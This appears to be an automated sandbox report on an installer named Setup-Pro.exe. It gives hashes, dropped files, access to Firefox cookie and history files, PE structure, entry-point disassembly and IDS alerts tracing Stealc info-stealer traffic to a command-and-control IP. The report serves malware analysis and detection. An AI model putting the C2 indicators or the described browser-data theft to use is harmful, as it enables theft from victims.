SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jsii-runtime.775329715\bin\jsii-runtime.js

Download File

Process:	C:\Users\user\Desktop\Setup-Pro.exe
File Type:	C++ source, ASCII text, with very long lines (324), with escape sequences
Category:	dropped
Size (bytes):	138639
Entropy (8bit):	4.286369825068587
Encrypted:	false
SSDEEP:	1536:ZMjsdRCCXpnzopj7/5dLopnQPporDa6meL4xmJ:fenLo9QP+lmeL4IJ
MD5:	A7C8367F8B900617374F5D3FAC86DFD7
SHA1:	6BDEAB34FA632083B2578708EB0C50443ED5E9A9
SHA-256:	E4F82DB7579D84B2DDB49B16A8CBD8256D86751473D1A86B4B31D1E3963BA0FA
SHA-512:	2C2E9D5445F4BDFBCA7F35881E9D133373145B40D26ECB9B122E60DD343B580FA3BC70C8B981B4AE7E3D9B8C4EA90C6A77F7328A60CBE0F2515EE364AD0CB0A3
Malicious:	false
Preview:	var __webpack_modules__ = {. 821: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. module = __webpack_require__.nmd(module);. const wrapAnsi16 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${code + offset}m`;. };. const wrapAnsi256 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${38 + offset};5;${code}m`;. };. const wrapAnsi16m = (fn, offset) => (...args) => {. const rgb = fn(...args);. return `.[${38 + offset};2;${rgb[0]};${rgb[1]};${rgb[2]}m`;. };. const ansi2ansi = n => n;. const rgb2rgb = (r, g, b) => [ r, g, b ];. const setLazyProperty = (object, property, get) => {. Object.defineProperty(object, property, {. get: () => {. const value = get();. Object.defineProperty(object, property, {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.775329715\bin\jsii-runtime.js.map

Download File

Process:	C:\Users\user\Desktop\Setup-Pro.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	218125
Entropy (8bit):	5.457704584855637
Encrypted:	false
SSDEEP:	3072:zKHyW445CPl85X3GJXlAnFhvMvOqGPUqdShdY5S8DoDT1JyBwJbMaky9nwe+L/Iq:LWY4KTvqd8dYQ8uJcwSy9nQ
MD5:	0FEFBA04D8BBEDD2CFF7EB75C3834847
SHA1:	054D11200D77C1B5DFB3B98A33973623619D34BE
SHA-256:	DBBDB23093B0732EE1504F79D3835B1C6B2E3F526AB42A6DA381E6CEC2648AE5
SHA-512:	3CEAA01275E2DEC044BA5F8D41092EB4F28E62CDAD24A71C8F7F57E4C48B709568C8C376BF2B048DC989810FB8EB91F2D944379804D5D85480A26663FC3F90FE
Malicious:	false
Preview:	{"version":3,"file":"bin/jsii-runtime.js","mappings":";;;;QAEA,MAAMA,aAAa,CAACC,IAAIC,WAAW,IAAIC;YACtC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAUC,OAAOF;AAAS;QAGlC,MAAMG,cAAc,CAACJ,IAAIC,WAAW,IAAIC;YACvC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAU,KAAKD,YAAYE;AAAO;QAG1C,MAAME,cAAc,CAACL,IAAIC,WAAW,IAAIC;YACvC,MAAMI,MAAMN,MAAME;YAClB,OAAO,KAAU,KAAKD,YAAYK,IAAI,MAAMA,IAAI,MAAMA,IAAI;AAAK;QAGhE,MAAMC,YAAYC,KAAKA;QACvB,MAAMC,UAAU,CAACC,GAAGC,GAAGC,MAAM,EAACF,GAAGC,GAAGC;QAEpC,MAAMC,kBAAkB,CAACC,QAAQC,UAAUC;YAC1CC,OAAOC,eAAeJ,QAAQC,UAAU;gBACvCC,KAAK;oBACJ,MAAMG,QAAQH;oBAEdC,OAAOC,eAAeJ,QAAQC,UAAU;wBACvCI;wBACAC,YAAY;wBACZC,cAAc;;oBAGf,OAAOF;AAAK;gBAEbC,YAAY;gBACZC,cAAc;;AACb;QAIH,IAAIC;QACJ,MAAMC,oBAAoB,CAACC,MAAMC,aAAaC,UAAUC;YACvD,IAAIL,iBAAiBM,WAAW;gBAC/BN,eAAe,oBAAQ;AACxB;YAEA,MAAMrB,SAAS0B,eAAe,KAAK;YACnC,MAAME,SAAS,CAAC;YAEhB,KAAK,OAAOC,aAAaC,UAAUd,OAAOe,QAAQV,eAAe;gBAChE,MAAMW,OAAOH,gBAAgB,WAAW,SAASA;gBACjD,IAAIA,gBAAgBL,aAAa;oBAChCI,OAAOI,QAAQT,KAAKE,UAAUzB;AAC/B,uBAAO,WAAW8B,UAAU,UAAU;oBACrCF,OAAOI,Q

C:\Users\user\AppData\Local\Temp\jsii-runtime.775329715\lib\program.js

Download File

Process:	C:\Users\user\Desktop\Setup-Pro.exe
File Type:	ASCII text, with very long lines (489)
Category:	dropped
Size (bytes):	802466
Entropy (8bit):	4.298722687837962
Encrypted:	false
SSDEEP:	6144:Z6TjefxOXTNwk8mCkCbCp4wrZaWvZEIhU4FFEY+cbCtNYbIgoxrV2z1J:Z6TjefxOXTNUkCbCp42aW4NwL
MD5:	4C6E1287B2F6060C1E0F386B0B47959A
SHA1:	0FA0C721B6848D78C73FCF74BB37891A17FF0999
SHA-256:	C8DB5A41C7EC02EB2F1F20A6CD544DB215246AD9D566EA9494D63521B9B1E271
SHA-512:	0FF6A037A413BE93DCB3C1B4C26CB9938025F34D9AA20818FBDED5B4B00BC89DCBA9EB58756BAFBA852CA972C058BDDB087E9CB58C9B442AC936C93590E14C13
Malicious:	false
Preview:	var __webpack_modules__ = {. 1165: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. const fs = __webpack_require__(9896);. const path = __webpack_require__(6928);. const LCHOWN = fs.lchown ? "lchown" : "chown";. const LCHOWNSYNC = fs.lchownSync ? "lchownSync" : "chownSync";. const needEISDIRHandled = fs.lchown && !process.version.match(/v1[1-9]+\./) && !process.version.match(/v10\.[6-9]/);. const lchownSync = (path, uid, gid) => {. try {. return fs[LCHOWNSYNC](path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const chownSync = (path, uid, gid) => {. try {. return fs.chownSync(path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const handleEISDIR = needEISDIRHandled ? (path, uid, gid, cb) => er => {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.775329715\lib\program.js.map

Download File

Process:	C:\Users\user\Desktop\Setup-Pro.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1155588
Entropy (8bit):	5.4159552687244155
Encrypted:	false
SSDEEP:	12288:D2DUMiOfGYFO/1pf0ThVUhI2PoEMuCfzT/2ZoEC74RiCfulDlJ:MZFO/1pf9hI2EjT/2ZoEC74RiCfulDlJ
MD5:	BE06DF1EE810220598CAE6D42AE2FD77
SHA1:	5DD0B0F101FDE69B49E37947380431D75D26125C
SHA-256:	09E18C6FA27068005DA8BCBB802C70B1C182866274478C684A4AB652ACAF2BBD
SHA-512:	BF40F52E37DFDBEE4AC4F562A28520893D3C8C13FDDB7A94E94458B1E8591162EADF3A4BE401A2FF6C2CE2449721F3F036C2B41571BB3C491E7F648595BAA8FA
Malicious:	false
Preview:	{"version":3,"file":"lib/program.js","mappings":";;;QACA,MAAMA,KAAK,oBAAQ;QACnB,MAAMC,OAAO,oBAAQ;QAGrB,MAAMC,SAASF,GAAGG,SAAS,WAAW;QAEtC,MAAMC,aAAaJ,GAAGK,aAAa,eAAe;QAGlD,MAAMC,oBAAoBN,GAAGG,WAC1BI,QAAQC,QAAQC,MAAM,kBACtBF,QAAQC,QAAQC,MAAM;QAEzB,MAAMJ,aAAa,CAACJ,MAAMS,KAAKC;YAC7B;gBACE,OAAOX,GAAGI,YAAYH,MAAMS,KAAKC;AACnC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAME,YAAY,CAACb,MAAMS,KAAKC;YAC5B;gBACE,OAAOX,GAAGc,UAAUb,MAAMS,KAAKC;AACjC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAMG,eACJT,oBAAoB,CAACL,MAAMS,KAAKC,KAAKK,OAAOJ;YAI1C,KAAKA,MAAMA,GAAGC,SAAS,UACrBG,GAAGJ,UAEHZ,GAAGiB,MAAMhB,MAAMS,KAAKC,KAAKK;AAAE,YAE7B,CAACE,GAAGC,IAAIC,KAAKJ,OAAOA;QAGxB,MAAMK,mBACJf,oBAAoB,CAACL,MAAMS,KAAKC;YAC9B;gBACE,OAAON,WAAWJ,MAAMS,KAAKC;AAC/B,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;gBACRE,UAAUb,MAAMS,KAAKC;AACvB;AAAA,YAEA,CAACV,MAAMS,KAAKC,QAAQN,WAAWJ,MAAMS,KAAKC;QAG9C,MAAMW,cAAcf,QAAQC;QAC5B,IAAIe,UAAU,CAACtB,MAAMuB,SAASR,OAAOhB,GAAGuB,QAAQtB,MAAMuB,SAASR;Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.516758381745191
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup-Pro.exe
File size:	24'551'424 bytes
MD5:	172cdb7dba672c53f3fae91ad779c940
SHA1:	8025e4ac0cb3d692c5faebec737f8551df2a2666
SHA256:	256372f3322cb5700e6ebbebebc9cac6877d0478f57260d32f2b0488df522cf9
SHA512:	59050c1587ee5c99b4fdcb0d7ce9afcad6ce19368a9adf66c45c28155eca6755269e4a1b7957db802887da526736f59dbafd0834c6a2444c94455557688782c1
SSDEEP:	98304:68f0tf2zUbMIO8eJ7RLOs5w9+SyAHthfBc4WWCBWCEdDizVpv17xpQTiTj+9:OczHJdo3JcQCBWCmypv17EmTi
TLSH:	7D371910FA8B54F1DE07487100DF623B23396D059B388ACBF68D7A6DF737A960976606
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........u..................X.......p.......Ph...@...........................y.....I.v...@................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4770f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	1aae8bf580c846f39c71c05898e57e88

Entrypoint Preview

Instruction
jmp 00007FCBB0C320E0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007FCBB0C0D416h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007FCBB0C34534h
cld
call 00007FCBB0C335CEh
call 00007FCBB0C32209h
add esp, 08h
ret
jmp 00007FCBB0C343E0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ebx, dword ptr [esp+04h]
mov ebp, esp
mov dword ptr fs:[00000034h], 00000000h
mov ecx, dword ptr [ebx+04h]
cmp ecx, 00000000h
je 00007FCBB0C343E1h
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16fe000	0x44c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1790000	0xe8f4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x16ff000	0x8fe30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1686c40	0xb4	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x92cd58	0x92ce00	1ae32e3587f6f6b7c04a5be2b710b03b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x92e000	0xd56d30	0xd56e00	9288bfa8a9497fcbfbda89870ca0c54c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1685000	0x7804c	0x46e00	3dd4bc00f6f37be1887862f6fe40462b	False	0.4283578593474427	data	5.50127631419606	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x16fe000	0x44c	0x600	d4fc643dd55097ba2ebad39a74e8996b	False	0.357421875	OpenPGP Public Key	3.971205540494859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x16ff000	0x8fe30	0x90000	432a7b47b157a07ae027b8970caebbe7	False	0.4979197184244792	data	6.710981748779555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x178f000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x1790000	0xe8f4	0xea00	9d62199e06a4fba95e1f54b955d67e90	False	0.16442975427350429	data	3.49913537187164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1790384	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0x1790dec	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0x1791454	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0x179173c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0x1791864	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0x1792e8c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0x1793d34	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0x17945dc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0x1794b44	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0x1795e2c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0x179a054	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0x179c5fc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0x179d6a4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_GROUP_ICON	0x179db0c	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0x179dbc8	0x584	data	English	United States	0.26203966005665724
RT_MANIFEST	0x179e14c	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T22:32:24.119417+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:24.589048+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:24.595348+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.66.249.162	80	192.168.2.8	49707	TCP
2024-10-11T22:32:25.054244+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:25.066564+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.66.249.162	80	192.168.2.8	49707	TCP
2024-10-11T22:32:26.111297+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:26.575559+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:32.372621+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:34.428036+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:36.031709+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:37.553660+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:40.731271+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:42.144224+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:45.684466+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.8	49707	45.66.249.162	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 22:32:22.431911945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:22.574512005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:22.574606895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:22.574843884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:22.579749107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:23.487524033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:23.487606049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:23.490567923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:23.495526075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:24.119239092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:24.119416952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:24.121002913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:24.126465082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:24.588928938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:24.588956118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:24.589047909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:24.590255976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:24.595347881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054172993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054198980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054214001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054236889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054244041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.054253101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054270029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054290056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.054322004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.054740906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.054783106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.061533928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.066564083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.525747061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.525870085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.553062916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.553064108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:25.558211088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.558279037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.558291912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.558336020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.558347940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:25.558360100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.110932112 CEST	80	49707	45.66.249.162	192.168.2.8
